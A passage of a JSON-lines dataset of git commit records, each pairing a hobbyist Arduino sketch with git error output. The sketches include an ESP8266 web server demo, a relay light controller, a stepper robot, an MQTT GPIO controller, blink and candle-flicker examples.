EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON\n * ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include <ESP8266WiFi.h>\n#include <WiFiClient.h>\n#include <ESP8266WebServer.h>\n#include <ESP8266mDNS.h>\n\nconst char *ssid = \"YourSSIDHere\";\nconst char *password = \"YourPSKHere\";\nMDNSResponder mdns;\n\nESP8266WebServer server ( 80 );\n\nconst int led = 13;\n\nvoid handleRoot() {\n\tdigitalWrite ( led, 1 );\n\tchar temp[400];\n\tint sec = millis() \/ 1000;\n\tint min = sec \/ 60;\n\tint hr = min \/ 60;\n\n\tsnprintf ( temp, 400,\n\n\"<html>\\\n <head>\\\n <meta http-equiv='refresh' content='5'\/>\\\n <title>ESP8266 Demo<\/title>\\\n <style>\\\n body { background-color: #cccccc; font-family: Arial, Helvetica, Sans-Serif; Color: #000088; }\\\n <\/style>\\\n <\/head>\\\n <body>\\\n <h1>Hello from ESP8266!<\/h1>\\\n <p>Uptime: %02d:%02d:%02d<\/p>\\\n <img src=\\\"\/test.svg\\\" \/>\\\n <\/body>\\\n<\/html>\",\n\n\t\thr, min % 60, sec % 60\n\t);\n\tserver.send ( 200, \"text\/html\", temp );\n\tdigitalWrite ( led, 0 );\n}\n\nvoid handleNotFound() {\n\tdigitalWrite ( led, 1 );\n\tString message = \"File Not Found\\n\\n\";\n\tmessage += \"URI: \";\n\tmessage += server.uri();\n\tmessage += \"\\nMethod: \";\n\tmessage += ( server.method() == HTTP_GET ) ? \"GET\" : \"POST\";\n\tmessage += \"\\nArguments: \";\n\tmessage += server.args();\n\tmessage += \"\\n\";\n\n\tfor ( uint8_t i = 0; i < server.args(); i++ ) {\n\t\tmessage += \" \" + server.argName ( i ) + \": \" + server.arg ( i ) + \"\\n\";\n\t}\n\n\tserver.send ( 404, \"text\/plain\", message );\n\tdigitalWrite ( led, 0 );\n}\n\nvoid setup ( void ) {\n\tpinMode ( led, OUTPUT );\n\tdigitalWrite ( led, 0 );\n\tSerial.begin ( 115200 );\n\tWiFi.begin ( ssid, password );\n\tSerial.println ( \"\" );\n\n\t\/\/ Wait for connection\n\twhile ( WiFi.status() != WL_CONNECTED ) {\n\t\tdelay ( 500 );\n\t\tSerial.print ( \".\" );\n\t}\n\n\tSerial.println ( \"\" );\n\tSerial.print ( \"Connected to \" );\n\tSerial.println ( ssid );\n\tSerial.print ( \"IP address: \" );\n\tSerial.println ( WiFi.localIP() );\n\n\tif ( mdns.begin ( \"esp8266\", WiFi.localIP() ) ) {\n\t\tSerial.println ( \"MDNS responder started\" );\n\t}\n\n\tserver.on ( \"\/\", handleRoot );\n\tserver.on ( \"\/test.svg\", drawGraph );\n\tserver.on ( \"\/inline\", []() {\n\t\tserver.send ( 200, \"text\/plain\", \"this works as well\" );\n\t} );\n\tserver.onNotFound ( handleNotFound );\n\tserver.begin();\n\tSerial.println ( \"HTTP server started\" );\n}\n\nvoid loop ( void ) {\n\tmdns.update();\n\tserver.handleClient();\n}\n\nvoid drawGraph() {\n\tString out = \"\";\n\tchar temp[100];\n\tout += \"<svg xmlns=\\\"http:\/\/www.w3.org\/2000\/svg\\\" version=\\\"1.1\\\" width=\\\"400\\\" height=\\\"150\\\">\\n\";\n \tout += \"<rect width=\\\"400\\\" height=\\\"150\\\" fill=\\\"rgb(250, 230, 210)\\\" stroke-width=\\\"1\\\" stroke=\\\"rgb(0, 0, 0)\\\" \/>\\n\";\n \tout += \"<g stroke=\\\"black\\\">\\n\";\n \tint y = rand() % 130;\n \tfor (int x = 10; x < 390; x+= 10) {\n \t\tint y2 = rand() % 130;\n \t\tsprintf(temp, \"<line x1=\\\"%d\\\" y1=\\\"%d\\\" x2=\\\"%d\\\" y2=\\\"%d\\\" stroke-width=\\\"1\\\" \/>\\n\", x, 140 - y, x + 10, 140 - y2);\n \t\tout += temp;\n \t\ty = y2;\n \t}\n\tout += \"<\/g>\\n<\/svg>\\n\";\n\n\tserver.send ( 200, \"image\/svg+xml\", out);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'libraries\/ESP8266WebServer\/examples\/AdvancedWebServer\/AdvancedWebServer.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"ef418d10160766b94ea10ab5f9d7ccaa38570a38","subject":"Update core sketch","message":"Update core sketch\n","repos":"Blade2021\/roots,Blade2021\/roots,Blade2021\/roots","old_file":"hydroCore\/hydroCore.ino","new_file":"hydroCore\/hydroCore.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Blade2021\/roots.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"b589bbd1d652e940c47068e1afa41bc2df87b590","subject":"add lights controller","message":"add lights controller\n","repos":"parabuzzle\/arduino","old_file":"light-controller\/light-controller.ino","new_file":"light-controller\/light-controller.ino","new_contents":"\/**\n* Copyright 2018 Rotting Orchards\n*\n* Light Controller\n*\n* Author:: Michael Heijmans (parabuzzle@gmail.com)\n* Copyright:: Copyright (c) 2018 Rotting Orchards\n* License:: MIT\n*\/\n\n\/\/ define constants\n#define triggerPin 2 \/\/ Input pin connected to the PicoBoo for triggering light shift\n#define resetButtonPin 3 \/\/ Button to reset the light\n#define relay1Pin 4 \/\/ Output pin to activate the first outlet\n#define relay2Pin 5 \/\/ Output pin to activate the second outlet\n#define lightsOffTime 4000 \/\/ Time all lights should be off during transition (in milliseconds)\n#define SECTION_FIRST 0 \/\/ Set a constant for the first section\n#define SECTION_SECOND 1 \/\/ Set a constant for the second section\n\n\/\/ define mutables\nint triggerState = 0;\nint buttonState = 0;\nint logState = 0;\n\n\/\/ setup our console logging\nvoid setupSerialLogging() {\n Serial.begin(9600);\n Serial.println(\"--- Start Serial Logging ---\");\n Serial.println(\"Rotting Orchards Simple Prop Controller\");\n Serial.println(\"https:\/\/www.rottingorchards.com\");\n Serial.println(\"------\");\n Serial.println(\"\"); \/\/ new line to make it look nice :) \n}\n\n\/\/ A function to turn a pin on\n\/\/ because typing digitalWrite is\n\/\/ too much effort\nvoid on(int pin){\n digitalWrite(pin, HIGH); \n}\n\n\/\/ A function to turn a pin off\n\/\/ because typing digitalWrite is\n\/\/ too much effort\nvoid off(int pin){\n digitalWrite(pin, LOW); \n}\n\n\/\/ Light Transition Function\nvoid transition(int section) {\n Serial.println(\"turn off all lights\");\n off(relay1Pin);\n off(relay2Pin);\n if (section == SECTION_SECOND){\n Serial.println('waiting' + lightsOffTime + 'ms before turnning on second relay');\n Serial.println(\"activate second relay\");\n on(relay2Pin);\n } else {\n Serial.println(\"activate first relay\");\n on(relay1Pin);\n }\n}\n\n\/\/ Arduino setup routine\nvoid setup() {\n pinMode(relay1Pin, OUTPUT);\n pinMode(relay2Pin, OUTPUT);\n pinMode(triggerPin, INPUT);\n pinMode(resetButtonPin, INPUT);\n setupSerialLogging();\n}\n\n\/\/ Arduino main loop\nvoid loop() {\n\n triggerState = digitalRead(triggerPin);\n buttonState = digitalRead(resetButtonPin);\n\n \/\/ Handle trigger state\n if (triggerState == HIGH) {\n \n if ( logState == 0 ) {\n Serial.println(\"Transition to sectond section triggered\");\n logState = 1;\n }\n \n transition(SECTION_SECOND);\n \n } else {\n \n if ( logState == 1 ) {\n Serial.println(\"nothing changed... waiting for input\");\n logState = 0;\n }\n \n }\n\n \/\/ Handle button state\n if (buttonState == HIGH) {\n if ( logState == 0 ) {\n Serial.println(\"Transition to first section triggered\");\n logState = 1;\n }\n \n transition(SECTION_FIRST);\n \n } else {\n \n if ( logState == 1 ) {\n Serial.println(\"nothing changed... waiting for input\");\n logState = 0;\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'light-controller\/light-controller.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1d98d0721960f88d7e3da8e800b8177292e52b7a","subject":"implement basic algorithm with fixed parameters","message":"implement basic algorithm with fixed parameters\n","repos":"KaichenWang\/wireless-thermometer,KaichenWang\/wireless-thermometer,KaichenWang\/wireless-thermometer,KaichenWang\/wireless-thermometer","old_file":"Basic_Algo\/Basic_Algo.ino","new_file":"Basic_Algo\/Basic_Algo.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/KaichenWang\/wireless-thermometer.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"50e310d8ec7397468caa9a71183d447bd623db9d","subject":"ADUINO","message":"ADUINO\n","repos":"zhu913104\/KMdriod,zhu913104\/KMdriod,zhu913104\/KMdriod,zhu913104\/KMdriod","old_file":"20180118\/20180118.ino","new_file":"20180118\/20180118.ino","new_contents":"#include <Stepper.h>\n#define STEPS 128\n\n\/\/Ultrasonic ultrasonic2(8);\nStepper stepper1(STEPS, 12, 11, 10, 9);\n\nStepper stepper2(STEPS, 6, 5, 4,3);\nchar cmd ='K';\nchar cmdd ='J';\nint ddd=0;\nint maxspeed = 400;\nvoid setup()\n{\nSerial.begin(9600);\n\nstepper1.setSpeed(100000); \nstepper2.setSpeed(100000); \n\n\n}\nvoid loop()\n{ \n int t;\n t = millis();\n long RangeInCentimeters1;\n long RangeInCentimeters2;\n\/\/ RangeInCentimeters1 = ultrasonic1.MeasureInCentimeters(); \/\/ two measurements should keep an interval\n \/\/RangeInCentimeters2 = ultrasonic2.MeasureInCentimeters(); \/\/ two measurements should keep an interval\n\/\/ Serial.print(RangeInCentimeters1);\/\/0~400cm\n\/\/ Serial.println(\" cm\");\n\/\/ \/\/Serial.print(RangeInCentimeters2);\/\/0~400cm\n\/\/ Serial.println(\" cm\");\n \/\/delay(250);\n \n\/\/ if(RangeInCentimeters1|RangeInCentimeters2<80)\n\/\/ right();\n\/\/ if((RangeInCentimeters1<80)||(RangeInCentimeters2<85))\n\/\/ left();\n \nchar incomingByte = \"\"; \/\/ for incoming serial data\n if (Serial.available() > 0){\n incomingByte = Serial.read();\n if (incomingByte){\n switch(char(incomingByte)){\n case 'w':\n cmd='w';\n break; \n case 's':\n cmd='s';\n break; \n case 'd':\n cmd='d';\n break; \n case 'a':\n cmd='a';\n break;\n case 'q':\n cmd='q';\n break;\n default:\n break;\n }\n\n }\n }\n switch(cmd)\n {\n case 'w':\n if (cmd==cmdd){\n cmdd=cmd;\n if (ddd> maxspeed){\n ddd = maxspeed;\n }\n else{\n ddd=ddd+5;\n }\n }\n else{\n cmdd=cmd;\n ddd=0;\n ddd=0;\n }\n forward();\n break; \n case'a':\n if (cmd==cmdd){\n cmdd=cmd;\n if (ddd> maxspeed){\n ddd = maxspeed;\n }\n else{\n ddd=ddd+5;\n }\n }\n else{\n cmdd=cmd;\n ddd=0;\n ddd=0;\n }\n left();\n break; \n case'd':\n if (cmd==cmdd){\n cmdd=cmd;\n if (ddd> maxspeed){\n ddd = maxspeed;\n }\n else{\n ddd=ddd+5;\n }\n }\n else{\n cmdd=cmd;\n ddd=0;\n ddd=0;\n }\n right();\n break; \n case's':\n if (cmd==cmdd){\n cmdd=cmd;\n if (ddd> maxspeed){\n ddd = maxspeed;\n }\n else{\n ddd=ddd+5;\n }\n }\n else{\n cmdd=cmd;\n ddd=0;\n ddd=0;\n }\n back();\n break;\n case'q':\n stop_();\n break;\n default:\n break;\n }\n \/\/%\u8d85\u97f3\u6ce2\u5beb\u9019\u908a\n}\nvoid forward()\n{\n stepper1.step(ddd*-1);\n stepper2.step(ddd);\n Serial.println(\"forward\"); \n}\nvoid back()\n{\n stepper1.step(ddd);\n stepper2.step(ddd*-1);\n Serial.println(\"back\"); \n}\nvoid right()\n{ \n stepper1.step(ddd\/-2);\n stepper2.step(ddd\/-2);\n Serial.println(\"left\"); \n}\nvoid left()\n{ \n stepper1.step(ddd\/2);\n stepper2.step(ddd\/2);\n Serial.println(\"right\"); \n}\n\nvoid stop_()\n{ \n stepper1.step(0);\n stepper2.step(0);\n Serial.println(\"stop\"); \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec '20180118\/20180118.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4f4f97d446f780e3ea15c54b573d9ccc2bda9c18","subject":"Final velocity control code","message":"Final velocity control code\n","repos":"kailashnagarajan\/Self-BalancingRobot","old_file":"Final Self Balancing.ino","new_file":"Final Self Balancing.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Final' did not match any file(s) known to git\nerror: pathspec 'Self' did not match any file(s) known to git\nerror: pathspec 'Balancing.ino' did not match any file(s) known to git\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"62e3235a6f511ae4b5e2a67d7e6edc90b7a59405","subject":"Added sketch that returns version","message":"Added sketch that returns version\n","repos":"guyroyse\/bertha,guyroyse\/bertha","old_file":"sketch\/bertha\/bertha.ino","new_file":"sketch\/bertha\/bertha.ino","new_contents":"String command = \"\";\nboolean commandAvailable = false;\n\nvoid setup() {\n Serial.begin(9600);\n}\n\nvoid loop() {\n if (commandAvailable) {\n String response = processCommand(command);\n returnResponse(response);\n resetCommand();\n }\n}\n\nString processCommand(String command) {\n if (command.equals(\"VERSION\"))\n return \"1.0.0\";\n else\n return \"ERROR\";\n}\n\nvoid returnResponse(String response) {\n Serial.println(response);\n}\n\nvoid resetCommand() {\n command = \"\";\n commandAvailable = false;\n}\n\n\nvoid serialEvent() {\n while (characterAvailable()) {\n char ch = readCharacter();\n if (endOfLine(ch)) {\n commandAvailable = true;\n } else {\n appendCharacter(ch);\n }\n }\n}\n\nboolean characterAvailable() {\n return Serial.available();\n}\n\nchar readCharacter() {\n return (char) Serial.read();\n}\n\nboolean endOfLine(char ch) {\n return ch == '\\n';\n}\n\nvoid appendCharacter(char ch) {\n command += ch;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sketch\/bertha\/bertha.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"970be9bc29c6e5c32f89b7ab9af73dfb8a12cf27","subject":"initial firmware added","message":"initial firmware added\n","repos":"prilutskiy\/ledpad,prilutskiy\/ledpad","old_file":"firmware\/firmware.ino","new_file":"firmware\/firmware.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/prilutskiy\/ledpad.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"4aa7d3cbfe2fb5fc15a53ea21c8462c6ade3e86c","subject":"Create sketch.ino","message":"Create sketch.ino","repos":"redlibre\/iot_platform","old_file":"dragino\/sketch.ino","new_file":"dragino\/sketch.ino","new_contents":"#include <SPI.h>\n#include <PubSubClient.h>\n#include <YunClient.h>\n#include <string.h>\n\nint out2 = 2;\nint out3 = 3;\nint out4 = 4;\nint out6 = 6;\n\nchar message_buff[100];\n\n\n#define IOTUSERNAME \"xxxxxxx\"\n#define IOTPASSWORD \"yyyyyyy\"\n#define IOTDEVICE \"zzzzzz\"\n#define USERNAME \"uuuuu\"\n\n#define TOPIC \"redlibre\/iot\/\"USERNAME\"\/\"IOTDEVICE\"\/\"IOTUSERNAME\"\/iot\/control\/\"\n#define STATUS \"redlibre\/iot\/\"USERNAME\"\/\"IOTDEVICE\"\/\"IOTUSERNAME\"\/status\/\"\n\n\nIPAddress server(190, 97, 169, 126);\n\n\nvoid callback(char* topic, byte* payload, unsigned int length);\n\nYunClient ethClient;\nPubSubClient client(server, 1883, callback, ethClient);\n\n\nvoid callback(char* topic, byte* payload, unsigned int length) {\n\n int i = 0;\n for(i=0; i<length; i++) {\n message_buff[i] = payload[i];\n }\n message_buff[i] = '\\0';\n \n String msgString = String(message_buff);\n \n \nif (msgString.equals(\"gpio2on\")) {\n digitalWrite(out2, HIGH);}\n \nelse if (msgString.equals(\"gpio2off\")) {\n digitalWrite(out2, LOW);}\n\nelse if (msgString.equals(\"gpio3on\")) {\n digitalWrite(out3, HIGH);}\n\nelse if (msgString.equals(\"gpio3off\")) {\n digitalWrite(out3, LOW);}\n\nelse if (msgString.equals(\"gpio4on\")) {\n digitalWrite(out4, HIGH);}\n\nelse if (msgString.equals(\"gpio3off\")) {\n digitalWrite(out4, LOW);}\n\nelse if (msgString.equals(\"gpio6on\")) {\n digitalWrite(out6, HIGH);}\n\nelse if (msgString.equals(\"gpio6off\")) {\n digitalWrite(out6, LOW);}\n\n \n}\n\n\n\nvoid setup()\n{\n Bridge.begin();\n pinMode(out2, OUTPUT);\n pinMode(out3, OUTPUT);\n pinMode(out4, OUTPUT);\n pinMode(out6, OUTPUT);\n \n\n if (client.connect(IOTDEVICE, IOTUSERNAME, IOTPASSWORD)) {\n client.publish(STATUS,\"hello world - authenticated!!\");\n client.subscribe(TOPIC);\n }\n}\n\nvoid loop()\n{\n client.loop();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'dragino\/sketch.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"2a9172a010a27a1daec87f4ea2c0642ed7af7b01","subject":"Adding variables","message":"Adding variables\n","repos":"mguida22\/InForm,mguida22\/InForm,mguida22\/InForm,mguida22\/InForm","old_file":"SensorShirt\/Variables.ino","new_file":"SensorShirt\/Variables.ino","new_contents":"\/*\n * Variables\n * Kylie Dale and Michael Guida\n * \n * Naming:\n * S --> side\n * F --> fwd\n * B --> back\n * R --> right\n * L --> left\n * # --> degrees of rotation\n *\/\n\n\/\/ ------------------------ Right ------------------------\n\n\/\/ -------- armSideRight --------\nint armSRBackVal = null;\nint armSRShoulderVal = null;\nint armSRUnderVal = null;\n\nint armSRBackTol = null;\nint armSRShoulderTol = null;\nint armSRUnderTol = null;\n\n\/\/ -------- armSideRight45 --------\nint armSR45BackVal = null;\nint armSR45ShoulderVal = null;\nint armSR45UnderVal = null;\n\nint armSR45BackTol = null;\nint armSR45ShoulderTol = null;\nint armSR45UnderTol = null;\n\n\/\/ -------- armSideRight90 --------\nint armSR90BackVal = null;\nint armSR90ShoulderVal = null;\nint armSR90UnderVal = null;\n\nint armSR90BackTol = null;\nint armSR90ShoulderTol = null;\nint armSR90UnderTol = null;\n\n\/\/ -------- armSideRight135 --------\nint armSR135BackVal = null;\nint armSR135ShoulderVal = null;\nint armSR135UnderVal = null;\n\nint armSR135BackTol = null;\nint armSR135ShoulderTol = null;\nint armSR135UnderTol = null;\n\n\/\/ -------- armSideRight180 --------\nint armSR180BackVal = null;\nint armSR180ShoulderVal = null;\nint armSR180UnderVal = null;\n\nint armSR180BackTol = null;\nint armSR180ShoulderTol = null;\nint armSR180UnderTol = null;\n\n\/\/ -------- armFwdRight45 --------\nint armFR45BackVal = null;\nint armFR45ShoulderVal = null;\nint armFR45UnderVal = null;\n\nint armFR45BackTol = null;\nint armFR45ShoulderTol = null;\nint armFR45UnderTol = null;\n\n\/\/ -------- armFwdRight90 --------\nint armFR90BackVal = null;\nint armFR90ShoulderVal = null;\nint armFR90UnderVal = null;\n\nint armFR90BackTol = null;\nint armFR90ShoulderTol = null;\nint armFR90UnderTol = null;\n\n\/\/ -------- armFwdRight135 --------\nint armFR135BackVal = null;\nint armFR135ShoulderVal = null;\nint armFR135UnderVal = null;\n\nint armFR135BackTol = null;\nint armFR135ShoulderTol = null;\nint armFR135UnderTol = null;\n\n\/\/ -------- armFwdRight180 --------\nint armFR180BackVal = null;\nint armFR180ShoulderVal = null;\nint armFR180UnderVal = null;\n\nint armFR180BackTol = null;\nint armFR180ShoulderTol = null;\nint armFR180UnderTol = null;\n\n\/\/ ------------------------ Left ------------------------\n\n\/\/ -------- armSideLeft --------\nint armSLBackVal = null;\nint armSLShoulderVal = null;\nint armSLUnderVal = null;\n\nint armSLBackTol = null;\nint armSLShoulderTol = null;\nint armSLUnderTol = null;\n\n\/\/ -------- armSideLeft45 --------\nint armSL45BackVal = null;\nint armSL45ShoulderVal = null;\nint armSL45UnderVal = null;\n\nint armSL45BackTol = null;\nint armSL45ShoulderTol = null;\nint armSL45UnderTol = null;\n\n\/\/ -------- armSideLeft90 --------\nint armSL90BackVal = null;\nint armSL90ShoulderVal = null;\nint armSL90UnderVal = null;\n\nint armSL90BackTol = null;\nint armSL90ShoulderTol = null;\nint armSL90UnderTol = null;\n\n\/\/ -------- armSideLeft135 --------\nint armSL135BackVal = null;\nint armSL135ShoulderVal = null;\nint armSL135UnderVal = null;\n\nint armSL135BackTol = null;\nint armSL135ShoulderTol = null;\nint armSL135UnderTol = null;\n\n\/\/ -------- armSideLeft180 --------\nint armSL180BackVal = null;\nint armSL180ShoulderVal = null;\nint armSL180UnderVal = null;\n\nint armSL180BackTol = null;\nint armSL180ShoulderTol = null;\nint armSL180UnderTol = null;\n\n\/\/ -------- armFwdLeft45 --------\nint armFL45BackVal = null;\nint armFL45ShoulderVal = null;\nint armFL45UnderVal = null;\n\nint armFL45BackTol = null;\nint armFL45ShoulderTol = null;\nint armFL45UnderTol = null;\n\n\/\/ -------- armFwdLeft90 --------\nint armFL90BackVal = null;\nint armFL90ShoulderVal = null;\nint armFL90UnderVal = null;\n\nint armFL90BackTol = null;\nint armFL90ShoulderTol = null;\nint armFL90UnderTol = null;\n\n\/\/ -------- armFwdLeft135 --------\nint armFL135BackVal = null;\nint armFL135ShoulderVal = null;\nint armFL135UnderVal = null;\n\nint armFL135BackTol = null;\nint armFL135ShoulderTol = null;\nint armFL135UnderTol = null;\n\n\/\/ -------- armFwdLeft180 --------\nint armFL180BackVal = null;\nint armFL180ShoulderVal = null;\nint armFL180UnderVal = null;\n\nint armFL180BackTol = null;\nint armFL180ShoulderTol = null;\nint armFL180UnderTol = null;\n\n\n\/\/ -------- backStraight --------\nint backStraightBackVal = null;\nint backStraightShoulderVal = null;\nint backStraightUnderVal = null;\n\nint backStraightBackTol = null;\nint backStraightShoulderTol = null;\nint backStraightUnderTol = null;\n\n\/\/ -------- backBentFwd --------\nint backBentFBackVal = null;\nint backBentFShoulderVal = null;\nint backBentFUnderVal = null;\n\nint backBentFBackTol = null;\nint backBentFShoulderTol = null;\nint backBentFUnderTol = null;\n\n\/\/ -------- backBentBack --------\nint backBentBBackVal = null;\nint backBentBShoulderVal = null;\nint backBentBUnderVal = null;\n\nint backBentBBackTol = null;\nint backBentBShoulderTol = null;\nint backBentBUnderTol = null;\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'SensorShirt\/Variables.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"47c1a9dcfafe4cd024c8e3fb6e4329a21ef9bdfc","subject":"First Sketch","message":"First Sketch\n","repos":"darrell24015\/Uno,darrell24015\/Uno","old_file":"blink\/blink.ino","new_file":"blink\/blink.ino","new_contents":"\/*\n blink\n http:\/\/arduino.cc\/en\/tutorial\/blink\n Turns a LED on and off repeatedly\n This example code is in the public domain\n*\/\n\n\/\/ Connect the anode of the LED to pin 13, assign pin 13 to variable led\n\/\/ Connect the cathode of the LED to GND\nint led = 13;\n\n\/\/ The setup routine runs once when you press the reset button\nvoid setup() {\n \/\/ initialize the pin as output\n pinMode(led, OUTPUT);\n}\n\n\/\/ The loop will repeat indefinately\nvoid loop() {\n digitalWrite(led, HIGH); \/\/ Turn the led on, HIGH = 5V \n delay(500); \/\/ Wait time\n digitalWrite(led, LOW); \/\/ Turn the led off, LOW = 0V\n delay(500); \/\/ Wait time\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'blink\/blink.ino' did not match any file(s) known to git\n","license":"cc0-1.0","lang":"Arduino"} {"commit":"6cb6e789aac51d173b2b8269943c89d9b4ae4fde","subject":"v3.0.1 - added sketch template to 'examples' with TaskScheduler defines explained","message":"v3.0.1 - added sketch template to 'examples' with TaskScheduler defines explained\n","repos":"arkhipenko\/TaskScheduler,arkhipenko\/TaskScheduler","old_file":"examples\/Scheduler_template\/Scheduler_template.ino","new_file":"examples\/Scheduler_template\/Scheduler_template.ino","new_contents":"\/\/ #define _TASK_TIMECRITICAL \/\/ Enable monitoring scheduling overruns\n\/\/ #define _TASK_SLEEP_ON_IDLE_RUN \/\/ Enable 1 ms SLEEP_IDLE powerdowns between tasks if no callback methods were invoked during the pass\n\/\/ #define _TASK_STATUS_REQUEST \/\/ Compile with support for StatusRequest functionality - triggering tasks on status change events in addition to time only\n\/\/ #define _TASK_WDT_IDS \/\/ Compile with support for wdt control points and task ids\n\/\/ #define _TASK_LTS_POINTER \/\/ Compile with support for local task storage pointer\n\/\/ #define _TASK_PRIORITY \/\/ Support for layered scheduling priority\n\/\/ #define _TASK_MICRO_RES \/\/ Support for microsecond resolution\n\/\/ #define _TASK_STD_FUNCTION \/\/ Support for std::function (ESP8266 and ESP32 ONLY)\n\/\/ #define _TASK_DEBUG \/\/ Make all methods and variables public for debug purposes\n\/\/ #define _TASK_INLINE \/\/ Make all methods \"inline\" - needed to support some multi-tab, multi-file implementations\n\/\/ #define _TASK_TIMEOUT \/\/ Support for overall task timeout\n\/\/ #define _TASK_OO_CALLBACKS \/\/ Support for dynamic callback method binding\n#include <TaskScheduler.h>\n\n\n\/\/ Scheduler\nScheduler ts;\n\nvoid task1Callback();\nvoid task2Callback();\n\n\/*\nScheduling defines:\n TASK_MILLISECOND\n TASK_SECOND\n TASK_MINUTE\n TASK_HOUR\n TASK_IMMEDIATE\n TASK_FOREVER\n TASK_ONCE\n TASK_NOTIMEOUT\n*\/\n\nTask t1 (100 * TASK_MILLISECOND, TASK_FOREVER, &task1Callback, &ts, true);\nTask t2 (TASK_IMMEDIATE, 100, &task2Callback, &ts, true);\n\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n\n}\n\nvoid loop() {\n ts.execute();\n}\n\n\nvoid task1Callback() {\n\n}\n\nvoid task2Callback() {\n\n}\n\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Scheduler_template\/Scheduler_template.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"aff873e6ebe9671d3e0f7b3d5b38d1c2a3f32339","subject":"One candle; initial commit.","message":"One candle; initial commit.\n","repos":"dokterbob\/Candle","old_file":"candlelight.ino","new_file":"candlelight.ino","new_contents":"\/* Test the theory that candlelight can be simulate by lowpass filtering of\nwhite noise. *\/\n\n#include <Metro.h>\n#include <FastLED.h>\n\n#define CANDLE_BRIGHTNESS_MIN 96\n#define CANDLE_STEPS_MIN 2\n#define CANDLE_STEPS_MAX 20\n#define CANDLE_TICK_TIME 20 \/\/ 50 FPS\n\nbyte\n candle_old_brightness = 0,\n candle_new_brightness = 0,\n candle_step = 0,\n candle_steps = 0,\n brightness = 0;\n\nint16_t brightness_delta;\n\nMetro candle_timer = Metro(CANDLE_TICK_TIME);\n\nvoid setup() {\n Serial.begin(38400);\n}\n\nvoid loop() {\n candleLoop();\n\n delay(1);\n}\n\nvoid candleSetup() {\n pinMode(22, OUTPUT);\n}\n\nvoid candleLoop() {\n if (candle_timer.check() == 1) {\n \/\/ Candle tick\n\n if (candle_step > candle_steps) {\n \/\/ Update target brightness and delay\n\n \/\/ Get new brightness\n candle_new_brightness = random8(CANDLE_BRIGHTNESS_MIN, 255);\n\n \/\/ Update candle steps\n candle_steps = random8(\n CANDLE_STEPS_MIN, max(\n candle_new_brightness - brightness, CANDLE_STEPS_MAX\n )\n );\n\n \/\/ Amount of change for every step\n brightness_delta = (candle_new_brightness - brightness) \/ candle_steps;\n if (brightness_delta == 0) brightness_delta = 1;\n\n Serial.println(12345);\n Serial.println(brightness);\n Serial.println(candle_new_brightness);\n Serial.println(candle_steps);\n Serial.println(brightness_delta);\n Serial.println(12345);\n\n \/\/ Reset step counter\n candle_step = 0;\n }\n\n \/\/ Set (and limit) brightness\n if (brightness_delta > 0) {\n brightness = qadd8(brightness, brightness_delta);\n } else {\n brightness += brightness_delta;\n }\n\n \/\/ Update LED state\n Serial.println(ease8InOutCubic(brightness));\n analogWrite(22, ease8InOutCubic(brightness));\n\n candle_step++;\n }\n}\n","old_contents":"","returncode":128,"stderr":"fatal: invalid reference: FETCH_HEAD^\n","license":"unlicense","lang":"Arduino"} {"commit":"8527e70ab0a651707aa4630f9d70f71baf689e93","subject":"ino file for testing REV7 with slaved FS20 valve.","message":"ino file for testing REV7 with slaved FS20 valve.","repos":"opentrv\/OpenTRV-Arduino-V0p2,opentrv\/OpenTRV-Arduino-V0p2,opentrv\/OpenTRV-Arduino-V0p2","old_file":"Arduino\/hardware\/V0p2_Main_PCB_REV7_DORM1_and_REV8\/REV7FS20Master\/REV7FS20Master.ino","new_file":"Arduino\/hardware\/V0p2_Main_PCB_REV7_DORM1_and_REV8\/REV7FS20Master\/REV7FS20Master.ino","new_contents":"\/*\nThe OpenTRV project licenses this file to you\nunder the Apache Licence, Version 2.0 (the \"Licence\");\nyou may not use this file except in compliance\nwith the Licence. You may obtain a copy of the Licence 